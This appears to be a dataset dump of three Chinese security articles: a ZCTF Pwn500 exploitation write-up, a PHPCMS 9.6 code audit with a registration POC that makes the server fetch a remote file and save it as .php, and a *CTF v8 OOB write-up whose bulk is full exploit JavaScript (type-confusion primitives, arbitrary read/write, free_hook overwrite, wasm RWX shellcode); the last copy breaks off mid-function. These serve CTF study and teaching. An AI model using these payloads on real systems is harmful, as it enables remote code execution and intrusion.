text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【CTF攻略】ZCTF Pwn500 GoodLuck详解
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[Ox9A82](http://bobao.360.cn/member/contribute?uid=2676915949)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**关于**
这是这几天刚刚结束的ZCTF中的一道500分Pwn题，在比赛之中我没有能够解出，于是在赛后自己研究了一下，发现这道题有两种解法而且利用过程比较精彩，其中第一种解法参考自飞猪的writeup，第二种解法来自晨升师傅，在复现的过程中感觉开阔了不少思路，受益匪浅，这里不敢独享拿出来分享给大家。
**题目介绍**
Pwn500-GoodLuck是一个形式比较常见的选单类题目
Good Luck To you!
1.add goods
2.delete goods
3.edit goods
4.show goods
5.exit
Now ! your choice:
如上所示，程序提供了5个选项。分别是添加、删除、编辑、显示和退出。选择添加功能会新建一个结构，我们把这个结构称为goods，goods的结构如下：
goods 40bytes
* 8bytes choice
* 8bytes pointer
* 24bytes name
其中前8个字节代表选择的礼物编号，程序中提供3种选择，1->apple 2->pear 3->flower
根据不同的选择会有不同的结构被建立，而goods+0x8处的指针正是指向这个子结构的。其中1、2两种选择建立的结构我们称为gift1,3号选择建立的结构我们称为gift2,我们可以看到gift1和gift2都是16字节但是结构有所不同。gift1的三个域都只是一些简单的char字符，而gift2的两个域都是指针，其中第一个指针指向模块偏移0x1040的地方，第二个指针指向一块堆内存，这块堆内存中也是简单的char字符，并没什么好说的。
gift1 16bytes
* 8bytes say_something
* 4bytes many
* 4bytes price
gift2 16bytes
* 8bytes 0x1040
* 8bytes pointer
add功能对两类不同的choice进行分别处理，分配内存，并获取输入值，上述的goods结构、gift1、gift2均是通过add功能建立。
当一个goods结构建立后，它的指针会被放入.bss段上的全局数组中统一管理，我们称之为global_goods[]。之后对goods结构的索引基本上都是通过global_goods[]的下标形式进行的，而实际上.bss上存在两个数组彼此相邻，因为其中一个数组是delete功能使用的。
delete功能是题目的重点，如果要进行一次完整的delete操作首先需要在主线程中设置要删除的goods在global_goods[]中的下标index，当然首先会验证这个index中是否有值存在，而删除的效果是会使goods的choice值加1。删除过程是由事件对象控制的（在Windows里类似的东西叫事件对象，Linux不是很清楚叫什么），代码如下
pthread_mutex_lock(&mutex);
pthread_cond_wait(&cond, &mutex);
pthread_cond_wait(&stru_2030E0, &mutex);
edit功能可以对gift2结构的pointer指向的内存区域的内容进行编辑，但是问题在于edit区分gift1和gift2的方式只是简单的choice是否小于2，结合我们前面的描述你是不是联想到了什么？:)
最后show功能同样是根据gift1、gift2的类型不同进行不同的处理。但是同时又增加一条判断流程，如下：
mov rdi, cs:s1 ; s1
mov rsi, [r13+8] ; s2
call _strcmp
其中s1为"0517n"，如果这一条满足又会进行下一个判断
cmp dword ptr [rax+8], 1
jnz short loc_1558
之后会输出一些内容，然后调用read_num和free函数。
最后介绍下题目的保护开启情况：
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
至此，我们介绍了程序中出现的几种结构，并且大致的梳理了程序的各个流程，下面我们看一下这道题到底是怎样利用的。
**第一种利用**
程序获取用户的输入数字（比如选项）一直都是通过read_num函数实现的，read_num函数存在一个比较隐蔽的漏洞，我在看writeup之前也并没有能够发现。read_num函数(地址:0x00F80)的大致流程是这样的：首先从参数获取到要读取的字符数量，然后逐个的读取字符存入栈缓冲区中，等到读到'n'或者达到数量上限时就停止读取，然后把读到的字符串使用atoi转成数字返回。如果光看描述可能不会觉得这个函数有什么问题，甚至如果只看F5不看反汇编也很难发现有问题，问题在于从参数获取欲读到的字符数时使用了lea
r13d, [rdi-1]，那么如果我们给rdi传0的话就会导致读取数量非常大的字符，从而导致栈溢出。
前面的题目介绍中我们说这道题具有canary保护，但是canary的值实际上在.bss上存有备份
push rbx
push rax
push rdx
mov rbx, 28h
mov rdx, fs:[rbx]
lea rax, unk_2031C0
mov [rax], rdx
pop rdx
pop rax
pop rbx
retn
这段代码展示了把canary的值从fs:0x28取出并备份到0x2031C0的.bss段内存上，而0x2031C0恰好在global_goods[]下面，这就提供了一种泄漏栈cookie的可能性，最后也的确是这么做的。
那么利用的第一步的目的就是通过混淆gift1和gift2来实现一些信息的泄漏。为了实现这一点，我们需要使用add功能新建一个goods。因为我们的目的是为了泄漏，而只有gift1才允许进行输出，所以我们要新建gift2然后混淆成gift1。所以我们这里可以选择0或是3，但是绝对不能是1或2。那么泄漏出来的究竟是什么呢？首先我们要知道，show
goods会把gift2的16个字节当成字符串输出（但是后8个字节是分别输出的）。其中前8个字节就是主模块0x1040偏移处的地址，因为主模块每次加载的地址都是不同的，因此一但我们获知了主模块0x1040偏移处的地址就可以算出主模块的基地址从而计算出一系列诸如.got、.got.plt的地址。
因为我们已经获得了一个栈溢出，所以我们接下来可以自然而然的想到去泄漏canary，从栈溢出入手拿到shell。
同时因为对于gift2来说show功能中存在这样的代码，我们这个时候又需要新建一个gift1然后混淆成gift2，然后把gift1+0x8的指针指向储存canary的地方就可以实现泄漏。
lea r14, global_pointer
test eax, eax
mov rax, [r14+rbp*8]
jnz short loc_1524
……
cmp dword ptr [rax+4], 1
jz short loc_154A
……
lea rdi, aSorryThisIsAFa ; "Sorry,This is a fake show!"
call _puts
mov rdi, [r13+8] ; s
call _puts
一但得知了canary，我们接下来就是要想办法的触法栈溢出，因为之前分析过要给read_num传参为0才能触发溢出，而这个参数实际上等于choice的值。
mov esi, [rax]
mov ebx, esi
mov edi, ebx
call read_num
为此我们新建一个choice为0的goods，然后让我们的值为"0517",使strcmp返回1走0x1158处的流程就可以触发溢出了。因为我们已知canary的值，因此这里就是常规的栈溢出利用，通过rop接下来怎么搞就是见仁见智了。
**第二种利用**
第一步，选择add goods。这里与第一种利用方法相同，因为代码中的验证条件是 if ( (unsigned int)choice <= 3
)(地址:0x1121)，所以我们选择的choice可以是0，虽然并没有给出0的选项，但是输入0依然合法，当然这里的目的仍然是混淆两种结构所以是与第一种相同的。
第二步，使用delete goods功能来混淆两种结构，这也与上一种方法相同。我们之前讲过delete功能是通过一个独立线程实现的。这个功能的效果是
++*global_shuzu[global_jishu]（地址:0x1361），因此会使目标gift的choice值加1。
这样根据上面介绍的情况就可以实现对两种不同的choice结构进行混淆（0、3与1、2），通过混淆进行泄漏。
第三步，show goods。show goods功能本身具有一定的迷惑性，因为这个功能本身具有验证条件，如果条件不满足会输出Sorry,This is a
fake
show!不会真正的实现Leak。但是如果我们实际经过调试会发现，这里验证的其实就是目标gift结构的choice值，如果为0、3则不满足，如果为1、2则满足，结合第二步中的使目标gift结构choice值+1的操作，我们知道我们是可以实现成功Leak的。
那么泄漏出来的究竟是什么呢？我们在第一种利用中知道了，前8个字节是主模块0x1040偏移处的地址，根据这个地址我们可以求出主模块的基地址。但是上一种方法中我们并没有用到后8个字节，后8个字节保存的是堆缓冲区地址即gitf2+0x8处的堆pointer，因为一直以来的堆分配尺寸我们都是可以进行计算的。因此我们只要能够得到当前分配的堆块的地址就可以算出初始堆的堆基地址，这也就是所谓的堆基地址泄漏。这两步泄漏相当的重要，后续操作之所以能进行就是因为这两步我们成功的获取了地址。
mov rsi, [rsi+8]
lea rdi, aS1SIi1DIi2D ; "s1->%s ii1->%d ii2->%dn"
xor eax, eax
pop r12
pop r13
pop r14
mov ecx, [rsi+0Ch]
mov edx, [rsi+8]
jmp _printf
第四步，伪造index。这一步是这种利用中最精彩的部分也是与第一种利用方式完全不同的地方。因为根据之前的泄漏我们已经知道了堆基址和模块基址，那么我们就可以通过计算下一次堆分配到的地址与.bss段上数组起始地址的差值来得出一个偏移，通过这个伪造偏移index我们就使得堆上出现了一个内容完全可控的伪造的gift块。如果你没有听懂的话，那么简单的说global_pointer[]本来应该在.bss上(0x2031A0)，但是我们通过泄漏把它“搬”到了堆上，这一步相当的精彩。
看到这里你应该已经明白接下来的步骤了，没错，就是通过伪造gift来控制指针（因为此时地址全部可预测），利用程序中的edit和show功能就可以进行任意地址写和任意地址读了。至此我们已经泄漏出了所需要的一切信息并且具有读写能力，接下来怎么利用就是见仁见智了。 | 社区文章 |
**前言** :
第一次接触代码审计的小白，要是过程有哪里出现错误或者是理解不好的地方希望各位前辈的指点！！！也希望可以对一些刚刚接触或者是想接触代码审计的同学能提供一点点思路。
**正文** ：
思路:我对这个漏洞的审计过程是先关注漏洞POC发现漏洞位置然后根据正常的功能走一遍，再把POC带进去走一遍，因为我觉得先正常的功能走一遍能对代码的运行有一个大概的了解，再带进POC走一遍能更好的理解漏洞的成因
第一步环境的搭建因为网上关于PHPCms环境搭建的文章比较多，所以这里就不多介绍啦
第二步我们关注POC：
siteid=1&modelid=11&username=test2&password=test2123&[email protected]&info[content]=<img
src=[http://127.0.0.1/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=](http://127.0.0.1/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=)
这里他出现问题是地方是注册的位置。代码位置：D:\phpStudy\PHPTutorial\WWW\PHPCMS\install_package\phpcms\modules\member\index.php
我们就正常的注册一个账户然后进行代码追踪看看他的实现过程。
正常提交内容：siteid=1&modelid=10&username=H12345&password=123456&pwdconfirm=123456&[email protected]&nickname=HAsdsd&info[birthday]=2022-12-02&dosubmit=同意注册协议，提交注册&protocol=
和POC里面modelid不同还有一个info后面的参数也不同可以重点关注一下。
跟踪正常代码:
定位到dosubmit这边：
如果你提交是注册的值的话，那么就进入注册的流程，我们上面正常的提交内容就是注册的，继续往下走下面有验证邮箱和验证手机的代码因为我们这里没有进行打开所以不需要进行关注，到这里我们已经定位完了dosubmit变量
下面有一个get($_POST['info'])我们跟进去这个参数
来到了\caches\caches_model\caches_data\member_input.class.php这个目录下面继续跟进，看见了另外一个重要的参数$func，他被赋值上了datetime，这边就是对$value这个参数用datetime这个函数进行处理，$value在上面被$data赋值,$data就是我们传进来的参数.（后面在验证POC的时候会对这步做详细的解读）
我们在数据库v9_model_field这个表里面找到这2个参数，一个是modelid=10和datatime
我们继续跟进代码后续只是对这个参数进行效验然后吐了出来
后续就是对用户信息的插入和生日插入，分别插入2张表，一张是v9_member（用户表），一张是v9_member_detail。
后续的报错也是因为这张表。
上面就是正常注册的流程，我们走完了一遍对这个注册的流程有个大概的了解，接下来我们来提交POC看看他在代码里面是怎么运行的，漏洞挖掘者是怎么想的。
抓包，修改正常注册的参数，放包。
还是一样经过了邮箱验证和手机验证（因为都没有开，所以都跳过）
在赋值的时候他用了回调函数用了new_html_special_chars函数，是一个防止XSS的函数所以尖括号等等东西都被进行了编码。
还是和之前一样跟进get($_POST['info'])看看在里面处理有没有什么不同，他传进去的值先传给了$data
然后下面又把$data值传给了$value，所以我们下面继续关注$value（对刚刚正常注册流程的解读）
然后对$value值在v9_model_field查找，匹配到了formtype为edito，然后进入到edito函数对$value进处理.
跟进到edito函数下面发现对变量进行了下载，我们跟踪进去看看他怎么对这个下载链接进行处理
在下面他用对$value用new_stripslashes函数赋值给$string,所以我们这边关注$string
下面又对这个下载链接进行正则匹配是不是满足上面符合要求的后缀符合的话把$string赋值给$matches不满足的话直接返回$value
因为我们是满足的所以我们继续关注$matches，经过上面的正则表达式，我们下载链接外面一些不必要的东西也被除去掉了，下面用把matches[3]赋值给$matche,所以我们关注$matche这个值
下面又对matche进行处理我们跟踪查看,并且赋值给$remotefileurls
跟进函数发现链接被赋值给了$surl,所以我们下面继续关注$surl这个函数
发现他用一个strpos函数来截取第一次出现#的地方所以我们#后面的东西都被去掉了
上面函数跟踪出来我们已经知道#.jpg怎么处理掉的，因为处理完他赋值给了$remotefileurls，所以我们关注$remotefileurls这个函数。在下面他又把$remotefileurls赋给$file，我们关注$file
$file我们可以看到下面他用了一个fileext来获取文件类型因为我们是php文件后缀所以获取到的是PHP文件，然后获取到本地上传路径，再用copy的形式把刚刚下载链接里面的东西复制生成一个文件到本地目录下面，就是$newfile这个文件
在本地成功的生成20221231115044183.php这个文件
到这边我们已经知道他是怎么在本地生成代码的，我们现在还有一个问题没有解决为什么会报错然后爆出路径呢，我们继续往下执行代码，回掉到注册代码位置，还是和之前正常注册流程一样先插入用户到v9_member,和把生日插入v9_member_detail，但是我们这里输入的恶意代码在插入的时候与表里的字段不匹配所以发生了报错。
总结：上面就是我对PHPCMS9.6这个代码审计的全部过程和方法，可能知道POC只是知道有这个漏洞，知道这个漏洞该怎么用，我觉得想要学好就必须对这个漏洞的原理和形成过程有所了解，学习挖掘者的思路，挖到属于自己的漏洞。因为是第一次接触代码审计，所以有什么不足的地方和需要改进或者是理解不够的地方希望各位师傅可以指点，同时也可以希望对刚刚学习和我一样的小白有帮助的地方。 | 社区文章 |
# *CTF OOB分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 题目介绍
来自*CTF的v8 pwn题，漏洞点比较简单，利用起来也不是很复杂，比较适合作为v8的入门
## 题目环境搭建
v8是由google开发的java
script引擎。由于特殊条件的限制，我们如果想要对它进行分析研究，就需要使用一些科学手段。科学手段操作方法这里不多讲了，参见下面的链接。
<https://mem2019.github.io/jekyll/update/2019/07/18/V8-Env-Config.html>
配置完后，调整到对应v8版本并应用题目给的patch。
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
其中debug版本中存在检查，触发本题的漏洞时会做检查然后直接崩溃，这里编译出来只是为了看v8的一些内存结构，漏洞触发和调试均放在release版本上。
## 基础知识
### v8对象结构
js作为一个面向对象的语言，它的变量都是用类表示的。并且由于js是一个动态语言，它的类的成员是可以变得，这就导致它类的内存结构和C那些不太一样，复杂很多。
v8下类的派生结构图：
在v8里，js类的一般结构如下：
[ class / map ] -> ... ; 指向内部类或者数组对象的map对象
[ properties ] -> [empty array]
[ elements ] -> [empty array] ; 数值类型名称的属性
[ reserved #1 ] -\
[ reserved #2 ] |
[ reserved #3 ] }- in object properties,即预分配的内存空间
............... |
[ reserved #N ] -/
我们来用debug版的v8看看实际情况下是个什么情况
写一个测试用的js
let a = new ArrayBuffer(8);
%DebugPrint(a);
%SystemBreak();
以arraybuffer为例
arraybuffer的结构：
gdb看的内存：
注意那个地址的最后，它的值看起来不是对齐的。这是因为v8里有个tagged
pointer机制，一个地址指向的如果不是SMI（就是小整数)，它的最低位就会打上一个标记，就会有个1，看起来就不是对齐的，用的时候要减1。
在v8的类结构里面，和本题关系比较大的是map这个元素。这个元素简单来说就是v8用来指示这个对象里的数据如何被解析的。要注意的是v8解析对象类型靠的就是它，也就是说如果你能改变它，你就能让v8错误地解析一个对象。
## 漏洞分析
题目提供了一个patch文件，给我们造了个漏洞：
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
重点关注builtins-array.cc里面的改动，另外两个文件的改动只是为了让它正常工作。
这一段改动主要给array对象造了这么一个oob方法，功能为：
1、当参数只有一个（即我们在调用的时候什么也不传，因为所有方法都会有个this指针作为默认参数），就返回数组最后一个元素之后的元素
2、当参数有两个（即我们在调用的时候传一个参数），就用我们传入的参数覆盖数组最后一个元素之后的元素
3、其他情况下返回一个undefined
那么它返回和覆盖的究竟是个什么呢
我们用gdb调试看看
let a = [1.1,2.2,3.3,4.4];
%DebugPrint(a);
%SystemBreak();
箭头指向的是数组数据真正存放的地方，我们看看这片区域里有啥
开头是的0x10是指向properties的指针和数组信息位，然后是数组的是个元素，然后在元素的后面，就是红圈圈着的那个，是指向数组对象map对象的指针。也就是说，这个oob方法能返回给我们数组对象的map，还能让我们修改它。
前面说过，map是v8用来判断对象类别的，我们能修改它，就能引起v8的类别混淆。这有什么用呢？我们用另外一个数组来说明
let obj1 = {'a':1.1};
let obj2 = {'b':2.2};
let a = [obj1,obj2];
%DebugPrint(a);
%SystemBreak();
可以看到这个用对象当元素的数组在结构上和前面那个浮点数组其实差不多，看内存，存储的都是一串浮点数，区别在于其解析方式。那么如果我们把浮点数组的map改成对象数组的，我们就能在浮点数组的元素所指向的地方伪造一个对象，反过来我们就能得到一个对象的地址，这就是类型混淆所能带来的功效。
按照上面的分析，我们来编写利用。首先是实现利用类型混淆来伪造对象和读取对象地址。
先写个类型转换方便后面利用，v8存储都是用浮点数（除了小整形），不能直接读，我们也不能直接写，要用函数转换。
function hex(i)
{
return '0x'+i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
i2f(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
let mem = new Memory();
然后是类型混淆的部分
let float_array = [1.1,2.2,3.3,4.4];
let obj = {'a':1.1};
let obj_array = [obj];
let float_map = float_array.oob()
let obj_map = obj_array.oob();
let maxSize = 1028 * 8;
function addrof(obj)
{
obj_array[0] = obj;
obj_array.oob(float_map);
let addr = mem.f2i(obj_array[0])
obj_array.oob(obj_map);
return addr;
}
function fakeobj(addr)
{
float_array[0] = mem.i2f(addr);
float_array.oob(obj_map);
let fake = float_array[0];
float_array.oob(float_map);
return fake;
}
这里就是照上面的思路，用修改map指针的方式来实现读取对象的地址和伪造对象。有了这两个功能还不够，我们要做v8的漏洞利用一般都需要搞出来任意地址读写。
任意地址写照上面的思路好写，伪造对象修改对象属性即可。那任意地址读怎么办呢
我们可以使用伪造结构的方式，来伪造出一个浮点数组来。如果我们在一个长度为4的浮点数组元素区上方0x20位置伪造一个对象，那么这个数组的第一个元素就是map指针，第三个元素就是这个伪造对象的元素区指针，把它改成我们想要的目标就能读取目标地址处的值了。
let arb_Buffer = [float_map,1.1,2.2,3.3];
function arbRead(addr)
{
if (addr % 2 == 0)
{
addr += 1;
}
let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
arb_Buffer[2] = mem.i2f(addr - 0x10);
let result = mem.f2i(OBJ[0]);
console.log("[*]value at "+hex(addr)+" is "+hex(result));
return result;
}
而任意地址读一开始想法如下：
function backstoreWrite(addr,value)
{
let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
arb_Buffer[2] = mem.i2f(addr - 0x10);
OBJ[0] = mem.i2f(value);
}
但这样在写某些地址时会报错，具体原因我也不知道，应该和map指针的其他机制有关。于是以这个函数为基础，又使用dataview和arraybuffer的backingstore来实现了另一个任意地址写（backingstore类似于数组的element，在v8中也是任意地址写的常用方法）
function arbWrite(addr,value)
{
let buf = new ArrayBuffer(8);
let view = new DataView(buf);
let backingsotre = addrof(buf)+0x20;
backstoreWrite(backingsotre,addr);
view.setBigInt64(0,BigInt(value),true);
}
有了任意地址读写，就能开始利用了
## 漏洞利用
### 比较简单的，修改free_hook的方法
一般来说我们做pwn，要控制指令流方法就这么几个。这一题我们可以改freehook，也能rop。这里将比较简单的覆盖free_hook的方法
首先，我们需要libc基址。在做别的题的时候，我曾经见过一个通过大量释放堆块，然后在堆块中搜索mainarena地址来得到libc基址的方法。但由于v8的垃圾回收基址，这方法不确定性比较大，而且费时间。于是我就想有没有稳定的方法，然后找到了下面这个方法
这个方法是利用v8浮点数组对象的一个特性，简单来说就是里面存在一条链：
array->array.constructor+0x30->addr of codes
在数组的constructor对象地址偏移0x30的地方，稳定存放着和数组初始化有关的v8引擎代码的地址。通过这个地址，我们能得到程序的基址，算出got表地址，通过读取got表我们就能得到libc中函数的地址，从而算出libc基址
let test = [1.1,2.2,3.3,4.4];
let code_addr = arbRead(addrof(test.constructor)+0x30);
let elf_base = arbRead(code_addr+0x41)-0xad54e0;
let fprintf_got = 0xd9a3a0+elf_base;
let libcbase = arbRead(fprintf_got) - 0x64eb0;
console.log("[*]libcbase ==> "+hex(libcbase));
然后我们把free_hook盖成system（盖成onegadget没有什么意义，不如system执行一些命令），再随便释放一个带有指令的堆块，使用console.log就能做到
let systemaddr = libcbase + 0x000000000004F550;
let freehook = libcbase + 0x3ed8e8;
arbWrite(freehook,systemaddr);
//%SystemBreak();
console.log('xcalc');
这个方法虽然简单，但它有几个问题
1、弹完计算器之后它还会free别的很多堆块，你不能保证free的时候freehook不会导致什么问题，而且控制台会一直弹字符，比较难看。
2、在现实情况下，v8是开了沙箱的，我们达到命令执行之后通常还得做逃逸，如果是直接盖free_hook会导致后面逃逸的部分不好搞
基于这两个问题，一般情况下我们选择第二种方法来利用
### 写入shellcode
如果能执行shellcode，那我们可以做的事情就比只用system多一点。
写入shellcode的思路大体上就是开一块RWX的区域，然后往里写shellcode执行。这里我们使用webasm的方法来执行。老版本好像还有直接改JIT优化的代码区这种操作，但现在不行，本题中也不涉及JIT。
v8提供WebAssembly这种对象让我们能写wasm来产生一个函数。但是这个对象在生成底层代码的时候是会检查的，会阻止你传入那些系统函数，于是就需要我们在它生成完底层代码之后往它开的RWX页里写我们自己的shellcode，注意这里的shellcode要用wasm写。
利用代码如下：
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let rwx_page_addr = arbRead(addrof(wasm_instance)-1+0x88);
console.log("[+]RWX Wasm page addr: " + hex(rwx_page_addr));
function copy_shellcode(addr, shellcode)
{
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20;
backstoreWrite(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
let shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
console.log("[+]Copying shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[+]Popping calculator");
f();
如果你不想用wasm，这里还可以用rop的方法，具体操作这里就不多说了，大体思路就是用environ变量获取一个栈上的地址，然后把ROP开RWX的链写到栈上，再在栈上的一片区域（因为你不能确定它返回地址是哪个）布置retn，用栈喷的方法来控制程序运行。
## exp:
### 修改free_hook版
function hex(i)
{
return '0x'+i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
i2f(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
let float_array = [1.1,2.2,3.3,4.4];
let obj = {'a':1.1};
let obj_array = [obj];
let float_map = float_array.oob()
let obj_map = obj_array.oob();
let maxSize = 1028 * 8;
function addrof(obj)
{
obj_array[0] = obj;
obj_array.oob(float_map);
let addr = mem.f2i(obj_array[0])
obj_array.oob(obj_map);
return addr;
}
function fakeobj(addr)
{
float_array[0] = mem.i2f(addr);
float_array.oob(obj_map);
let fake = float_array[0];
float_array.oob(float_map);
return fake;
}
let arb_Buffer = [float_map,1.1,2.2,3.3];
function arbRead(addr)
{
if (addr % 2 == 0)
{
addr += 1;
}
let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
arb_Buffer[2] = mem.i2f(addr - 0x10);
let result = mem.f2i(OBJ[0]);
console.log("[*]value at "+hex(addr)+" is "+hex(result));
return result;
}
function backstoreWrite(addr,value)
{
let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
arb_Buffer[2] = mem.i2f(addr - 0x10);
OBJ[0] = mem.i2f(value);
}
function arbWrite(addr,value)
{
let buf = new ArrayBuffer(8);
let view = new DataView(buf);
let backingsotre = addrof(buf)+0x20;
backstoreWrite(backingsotre,addr);
view.setBigInt64(0,BigInt(value),true);
}
let test = [1.1,2.2,3.3,4.4];
let code_addr = arbRead(addrof(test.constructor)+0x30);
let elf_base = arbRead(code_addr+0x41)-0xad54e0;
let fprintf_got = 0xd9a3a0+elf_base;
let libcbase = arbRead(fprintf_got) - 0x64eb0;
console.log("[*]libcbase ==> "+hex(libcbase));
let systemaddr = libcbase + 0x000000000004F550;
let freehook = libcbase + 0x3ed8e8;
arbWrite(freehook,systemaddr);
console.log('xcalc');
### shellcode版
function hex(i)
{
return '0x'+i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
i2f(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
let mem = new Memory();
let float_array = [1.1,2.2,3.3,4.4];
let obj = {'a':1.1};
let obj_array = [obj];
let float_map = float_array.oob()
let obj_map = obj_array.oob();
let maxSize = 1028 * 8;
function addrof(obj)
{
obj_array[0] = obj;
obj_array.oob(float_map);
let addr = mem.f2i(obj_array[0])
obj_array.oob(obj_map);
return addr;
}
function fakeobj(addr)
{
float_array[0] = mem.i2f(addr);
float_array.oob(obj_map);
let fake = float_array[0];
float_array.oob(float_map);
return fake;
}
let arb_Buffer = [float_map,1.1,2.2,3.3];
function arbRead(addr)
{
if (addr % 2 == 0)
{
addr += 1;
}
let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
arb_Buffer[2] = mem.i2f(addr - 0x10);
let result = mem.f2i(OBJ[0]);
console.log("[*]value at "+hex(addr)+" is "+hex(result));
return result;
}
function backstoreWrite(addr,value)
{
let OBJ = fakeobj(addrof(arb_Buffer)-0x20);
arb_Buffer[2] = mem.i2f(addr - 0x10);
OBJ[0] = mem.i2f(value);
}
function arbWrite(addr,value)
{
let buf = new ArrayBuffer(8);
